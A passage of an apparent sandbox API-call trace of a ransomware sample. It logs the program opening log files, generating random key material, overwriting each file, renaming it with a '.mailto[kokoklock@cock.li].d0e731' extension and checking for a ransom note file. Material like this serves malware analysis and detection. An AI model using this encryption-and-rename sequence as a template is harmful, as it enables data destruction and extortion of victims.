CloseHandle (hObject=0x8fc) returned 1 [0077.370] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x34320a0 [0077.370] wcscpy (in: _Dest=0x34320a0, _Source="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.006.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.006.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.006.etl" [0077.370] wcscat (in: _Dest=0x34320a0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.006.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.006.etl.mailto[kokoklock@cock.li].d0e731" [0077.370] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.006.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.006.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.006.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.006.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0077.371] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.006.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0077.371] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34320a0) returned 1 [0077.371] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.006.etl", dwFileAttributes=0x2020) returned 0 [0077.371] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3479a60 [0077.371] wcscpy (in: _Dest=0x3479a60, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.371] wcscat (in: _Dest=0x3479a60, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0077.371] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0077.372] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0077.372] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ee80) returned 1 [0077.372] RtlExitUserThread (Status=0x1) Thread: id = 850 os_tid = 0x144c [0077.373] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.007.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.007.etl")) returned 0x2020 [0077.374] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.007.etl", dwFileAttributes=0x20) returned 1 [0077.374] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.007.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.007.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8fc [0077.374] GetFileSizeEx (in: hFile=0x8fc, lpFileSize=0x1f6bf7e4 | out: lpFileSize=0x1f6bf7e4*=8192) returned 1 [0077.374] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.374] ReadFile (in: hFile=0x8fc, lpBuffer=0x1f6bf7b8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f6bf7b4, lpOverlapped=0x0 | out: lpBuffer=0x1f6bf7b8*, lpNumberOfBytesRead=0x1f6bf7b4*=0x4, lpOverlapped=0x0) returned 1 [0077.376] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.376] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492988 [0077.376] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ca8 [0077.376] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492be0 [0077.376] NtQuerySystemTime (in: CurrentTime=0x1f6bf790 | out: CurrentTime=0x1f6bf790*=132121176352689979) returned 0x0 [0077.376] RtlRandom (in: Seed=0x1f6bf79c | out: Seed=0x1f6bf79c) returned 0x4bf8570a [0077.376] RtlRandom (in: Seed=0x1f6bf79c | out: Seed=0x1f6bf79c) returned 0xe59e997a [0077.376] RtlRandom (in: Seed=0x1f6bf79c | out: Seed=0x1f6bf79c) returned 0x1778cdd6 [0077.376] RtlRandom (in: Seed=0x1f6bf79c | out: Seed=0x1f6bf79c) returned 0x196d336b [0077.376] RtlRandom (in: Seed=0x1f6bf79c | out: Seed=0x1f6bf79c) returned 0xdc4cb2f [0077.376] RtlRandom (in: Seed=0x1f6bf79c | out: Seed=0x1f6bf79c) returned 0x82f04b56 [0077.376] RtlRandom (in: Seed=0x1f6bf79c | out: Seed=0x1f6bf79c) returned 0x91d5d152 [0077.376] RtlRandom (in: Seed=0x1f6bf79c | out: Seed=0x1f6bf79c) returned 0x5946c7fd [0077.376] RtlRandom (in: Seed=0x1f6bf79c | out: Seed=0x1f6bf79c) returned 0x9dea1368 [0077.376] RtlRandom (in: Seed=0x1f6bf79c | out: Seed=0x1f6bf79c) returned 0x22f41eea [0077.376] RtlRandom (in: Seed=0x1f6bf79c | out: Seed=0x1f6bf79c) returned 0x80273a81 [0077.376] RtlRandom (in: Seed=0x1f6bf79c | out: Seed=0x1f6bf79c) returned 0xd6f1679f [0077.376] RtlRandom (in: Seed=0x1f6bf79c | out: Seed=0x1f6bf79c) returned 0x1812ea8c [0077.376] RtlRandom (in: Seed=0x1f6bf79c | out: Seed=0x1f6bf79c) returned 0xdaa68652 [0077.376] RtlRandom (in: Seed=0x1f6bf79c | out: Seed=0x1f6bf79c) returned 0x983b4cf9 [0077.376] RtlRandom (in: Seed=0x1f6bf79c | out: Seed=0x1f6bf79c) returned 0x56c102f4 [0077.376] RtlRandom (in: Seed=0x1f6bf79c | out: Seed=0x1f6bf79c) returned 0xc838812 [0077.376] RtlRandom (in: Seed=0x1f6bf79c | out: Seed=0x1f6bf79c) returned 0xafc1948b [0077.376] RtlRandom (in: Seed=0x1f6bf79c | out: Seed=0x1f6bf79c) returned 0x9c697c72 [0077.376] RtlRandom (in: Seed=0x1f6bf79c | out: Seed=0x1f6bf79c) returned 0xb68ca76a [0077.376] RtlRandom (in: Seed=0x1f6bf79c | out: Seed=0x1f6bf79c) returned 0xf5a7c3f9 [0077.376] RtlRandom (in: Seed=0x1f6bf79c | out: Seed=0x1f6bf79c) returned 0x89bf2eda [0077.376] RtlRandom (in: Seed=0x1f6bf79c | out: Seed=0x1f6bf79c) returned 0x6dbfff22 [0077.376] RtlRandom (in: Seed=0x1f6bf79c | out: Seed=0x1f6bf79c) returned 0x1e704ce2 [0077.376] RtlRandom (in: Seed=0x1f6bf79c | out: Seed=0x1f6bf79c) returned 0x55a559b9 [0077.376] RtlRandom (in: Seed=0x1f6bf79c | out: Seed=0x1f6bf79c) returned 0xd201e70 [0077.377] RtlRandom (in: Seed=0x1f6bf79c | out: Seed=0x1f6bf79c) returned 0x298bb8ec [0077.377] RtlRandom (in: Seed=0x1f6bf79c | out: Seed=0x1f6bf79c) returned 0xbc12f075 [0077.377] RtlRandom (in: Seed=0x1f6bf79c | out: Seed=0x1f6bf79c) returned 0x2772bd98 [0077.377] RtlRandom (in: Seed=0x1f6bf79c | out: Seed=0x1f6bf79c) returned 0x660e8dac [0077.377] RtlRandom (in: Seed=0x1f6bf79c | out: Seed=0x1f6bf79c) returned 0x38dbadd9 [0077.377] RtlRandom (in: Seed=0x1f6bf79c | out: Seed=0x1f6bf79c) returned 0x91eebc1a [0077.388] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0077.388] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492988) returned 1 [0077.388] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd8f8 [0077.388] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0077.388] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492c30 [0077.388] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492c30) returned 1 [0077.388] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348a220 [0077.388] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0077.388] ReadFile (in: hFile=0x8fc, lpBuffer=0x348a220, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x1f6bf790, lpOverlapped=0x0 | out: lpBuffer=0x348a220*, lpNumberOfBytesRead=0x1f6bf790*=0x2000, lpOverlapped=0x0) returned 1 [0077.389] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f6bf758 | out: lpNewFilePointer=0x0) returned 1 [0077.389] WriteFile (in: hFile=0x8fc, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x1f6bf78c, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x1f6bf78c*=0x2000, lpOverlapped=0x0) returned 1 [0077.389] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492c30 [0077.389] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492c58 [0077.389] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492c58) returned 1 [0077.389] WriteFile (in: hFile=0x8fc, lpBuffer=0x3492c30*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f6bf788, lpOverlapped=0x0 | out: lpBuffer=0x3492c30*, lpNumberOfBytesWritten=0x1f6bf788*=0x20, lpOverlapped=0x0) returned 1 [0077.389] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492c30) returned 1 [0077.389] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0077.389] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a220) returned 1 [0077.389] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0077.389] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd8f8) returned 1 [0077.389] WriteFile (in: hFile=0x8fc, lpBuffer=0x34928e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f6bf7b4, lpOverlapped=0x0 | out: lpBuffer=0x34928e8*, lpNumberOfBytesWritten=0x1f6bf7b4*=0x8, lpOverlapped=0x0) returned 1 [0077.389] WriteFile (in: hFile=0x8fc, lpBuffer=0x1f6bf7cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f6bf7b4, lpOverlapped=0x0 | out: lpBuffer=0x1f6bf7cc*, lpNumberOfBytesWritten=0x1f6bf7b4*=0x4, lpOverlapped=0x0) returned 1 [0077.390] WriteFile (in: hFile=0x8fc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f6bf7b4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1f6bf7b4*=0x4, lpOverlapped=0x0) returned 1 [0077.390] WriteFile (in: hFile=0x8fc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1f6bf7b4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1f6bf7b4*=0x6c, lpOverlapped=0x0) returned 1 [0077.390] WriteFile (in: hFile=0x8fc, lpBuffer=0x3492ca8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f6bf7b4, lpOverlapped=0x0 | out: lpBuffer=0x3492ca8*, lpNumberOfBytesWritten=0x1f6bf7b4*=0x20, lpOverlapped=0x0) returned 1 [0077.390] WriteFile (in: hFile=0x8fc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f6bf7b4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1f6bf7b4*=0x4, lpOverlapped=0x0) returned 1 [0077.390] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ca8) returned 1 [0077.390] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492c08) returned 1 [0077.390] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34928e8) returned 1 [0077.390] CloseHandle (hObject=0x8fc) returned 1 [0077.390] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x34320a0 [0077.390] wcscpy (in: _Dest=0x34320a0, _Source="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.007.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.007.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.007.etl" [0077.390] wcscat (in: _Dest=0x34320a0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.007.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.007.etl.mailto[kokoklock@cock.li].d0e731" [0077.390] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.007.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.007.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.007.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.007.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0077.391] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.007.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0077.391] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34320a0) returned 1 [0077.391] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.007.etl", dwFileAttributes=0x2020) returned 0 [0077.391] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3479a60 [0077.391] wcscpy (in: _Dest=0x3479a60, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.391] wcscat (in: _Dest=0x3479a60, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0077.391] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0077.391] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0077.391] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f458) returned 1 [0077.391] RtlExitUserThread (Status=0x1) Thread: id = 851 os_tid = 0x1450 [0077.393] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.008.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.008.etl")) returned 0x2020 [0077.393] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.008.etl", dwFileAttributes=0x20) returned 1 [0077.394] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.008.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.008.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8fc [0077.394] GetFileSizeEx (in: hFile=0x8fc, lpFileSize=0x1f73fd28 | out: lpFileSize=0x1f73fd28*=8192) returned 1 [0077.394] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.394] ReadFile (in: hFile=0x8fc, lpBuffer=0x1f73fcfc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f73fcf8, lpOverlapped=0x0 | out: lpBuffer=0x1f73fcfc*, lpNumberOfBytesRead=0x1f73fcf8*=0x4, lpOverlapped=0x0) returned 1 [0077.395] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.395] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492988 [0077.395] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ca8 [0077.395] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492c08 [0077.395] NtQuerySystemTime (in: CurrentTime=0x1f73fcd4 | out: CurrentTime=0x1f73fcd4*=132121176352847028) returned 0x0 [0077.395] RtlRandom (in: Seed=0x1f73fce0 | out: Seed=0x1f73fce0) returned 0x42730d3c [0077.395] RtlRandom (in: Seed=0x1f73fce0 | out: Seed=0x1f73fce0) returned 0x2da718f6 [0077.395] RtlRandom (in: Seed=0x1f73fce0 | out: Seed=0x1f73fce0) returned 0xf14153c6 [0077.395] RtlRandom (in: Seed=0x1f73fce0 | out: Seed=0x1f73fce0) returned 0x8895442 [0077.395] RtlRandom (in: Seed=0x1f73fce0 | out: Seed=0x1f73fce0) returned 0xece0e494 [0077.396] RtlRandom (in: Seed=0x1f73fce0 | out: Seed=0x1f73fce0) returned 0x21fa4938 [0077.396] RtlRandom (in: Seed=0x1f73fce0 | out: Seed=0x1f73fce0) returned 0xb257a984 [0077.396] RtlRandom (in: Seed=0x1f73fce0 | out: Seed=0x1f73fce0) returned 0xe503f8c2 [0077.396] RtlRandom (in: Seed=0x1f73fce0 | out: Seed=0x1f73fce0) returned 0x5919b846 [0077.396] RtlRandom (in: Seed=0x1f73fce0 | out: Seed=0x1f73fce0) returned 0xb227e968 [0077.396] RtlRandom (in: Seed=0x1f73fce0 | out: Seed=0x1f73fce0) returned 0xfcacccd5 [0077.396] RtlRandom (in: Seed=0x1f73fce0 | out: Seed=0x1f73fce0) returned 0x9fae2eb9 [0077.396] RtlRandom (in: Seed=0x1f73fce0 | out: Seed=0x1f73fce0) returned 0x8b1d639b [0077.396] RtlRandom (in: Seed=0x1f73fce0 | out: Seed=0x1f73fce0) returned 0x507136cb [0077.396] RtlRandom (in: Seed=0x1f73fce0 | out: Seed=0x1f73fce0) returned 0x8e482d20 [0077.396] RtlRandom (in: Seed=0x1f73fce0 | out: Seed=0x1f73fce0) returned 0xe0727b09 [0077.396] RtlRandom (in: Seed=0x1f73fce0 | out: Seed=0x1f73fce0) returned 0xbdaba56e [0077.396] RtlRandom (in: Seed=0x1f73fce0 | out: Seed=0x1f73fce0) returned 0xcc1bf665 [0077.396] RtlRandom (in: Seed=0x1f73fce0 | out: Seed=0x1f73fce0) returned 0xd196076b [0077.396] RtlRandom (in: Seed=0x1f73fce0 | out: Seed=0x1f73fce0) returned 0x39175af2 [0077.396] RtlRandom (in: Seed=0x1f73fce0 | out: Seed=0x1f73fce0) returned 0x5e22488 [0077.396] RtlRandom (in: Seed=0x1f73fce0 | out: Seed=0x1f73fce0) returned 0x1c7f2e3d [0077.396] RtlRandom (in: Seed=0x1f73fce0 | out: Seed=0x1f73fce0) returned 0xdefe84e2 [0077.396] RtlRandom (in: Seed=0x1f73fce0 | out: Seed=0x1f73fce0) returned 0xe6525c6b [0077.396] RtlRandom (in: Seed=0x1f73fce0 | out: Seed=0x1f73fce0) returned 0xa118e6da [0077.396] RtlRandom (in: Seed=0x1f73fce0 | out: Seed=0x1f73fce0) returned 0xbdfc396c [0077.396] RtlRandom (in: Seed=0x1f73fce0 | out: Seed=0x1f73fce0) returned 0x56171de9 [0077.396] RtlRandom (in: Seed=0x1f73fce0 | out: Seed=0x1f73fce0) returned 0xf318d551 [0077.396] RtlRandom (in: Seed=0x1f73fce0 | out: Seed=0x1f73fce0) returned 0x85361812 [0077.396] RtlRandom (in: Seed=0x1f73fce0 | out: Seed=0x1f73fce0) returned 0x8d3048c3 [0077.396] RtlRandom (in: Seed=0x1f73fce0 | out: Seed=0x1f73fce0) returned 0xe8ed958d [0077.396] RtlRandom (in: Seed=0x1f73fce0 | out: Seed=0x1f73fce0) returned 0x6b5483e7 [0077.409] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0077.409] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492988) returned 1 [0077.409] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd8f8 [0077.409] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0077.409] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492c58 [0077.409] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492c58) returned 1 [0077.409] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348a220 [0077.409] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0077.409] ReadFile (in: hFile=0x8fc, lpBuffer=0x348a220, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x1f73fcd4, lpOverlapped=0x0 | out: lpBuffer=0x348a220*, lpNumberOfBytesRead=0x1f73fcd4*=0x2000, lpOverlapped=0x0) returned 1 [0077.410] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f73fc9c | out: lpNewFilePointer=0x0) returned 1 [0077.410] WriteFile (in: hFile=0x8fc, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x1f73fcd0, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x1f73fcd0*=0x2000, lpOverlapped=0x0) returned 1 [0077.410] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492c58 [0077.411] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492c80 [0077.411] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492c80) returned 1 [0077.411] WriteFile (in: hFile=0x8fc, lpBuffer=0x3492c58*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f73fccc, lpOverlapped=0x0 | out: lpBuffer=0x3492c58*, lpNumberOfBytesWritten=0x1f73fccc*=0x20, lpOverlapped=0x0) returned 1 [0077.411] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492c58) returned 1 [0077.411] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0077.411] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a220) returned 1 [0077.411] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0077.411] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd8f8) returned 1 [0077.411] WriteFile (in: hFile=0x8fc, lpBuffer=0x34928e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f73fcf8, lpOverlapped=0x0 | out: lpBuffer=0x34928e8*, lpNumberOfBytesWritten=0x1f73fcf8*=0x8, lpOverlapped=0x0) returned 1 [0077.411] WriteFile (in: hFile=0x8fc, lpBuffer=0x1f73fd10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f73fcf8, lpOverlapped=0x0 | out: lpBuffer=0x1f73fd10*, lpNumberOfBytesWritten=0x1f73fcf8*=0x4, lpOverlapped=0x0) returned 1 [0077.411] WriteFile (in: hFile=0x8fc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f73fcf8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1f73fcf8*=0x4, lpOverlapped=0x0) returned 1 [0077.411] WriteFile (in: hFile=0x8fc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1f73fcf8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1f73fcf8*=0x6c, lpOverlapped=0x0) returned 1 [0077.411] WriteFile (in: hFile=0x8fc, lpBuffer=0x3492ca8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f73fcf8, lpOverlapped=0x0 | out: lpBuffer=0x3492ca8*, lpNumberOfBytesWritten=0x1f73fcf8*=0x20, lpOverlapped=0x0) returned 1 [0077.412] WriteFile (in: hFile=0x8fc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f73fcf8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1f73fcf8*=0x4, lpOverlapped=0x0) returned 1 [0077.412] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ca8) returned 1 [0077.412] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492c30) returned 1 [0077.412] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34928e8) returned 1 [0077.412] CloseHandle (hObject=0x8fc) returned 1 [0077.412] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x34320a0 [0077.412] wcscpy (in: _Dest=0x34320a0, _Source="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.008.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.008.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.008.etl" [0077.412] wcscat (in: _Dest=0x34320a0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.008.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.008.etl.mailto[kokoklock@cock.li].d0e731" [0077.412] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.008.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.008.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.008.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.008.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0077.413] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.008.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0077.413] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34320a0) returned 1 [0077.413] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.008.etl", dwFileAttributes=0x2020) returned 0 [0077.413] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3479a60 [0077.413] wcscpy (in: _Dest=0x3479a60, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.413] wcscat (in: _Dest=0x3479a60, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0077.413] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: 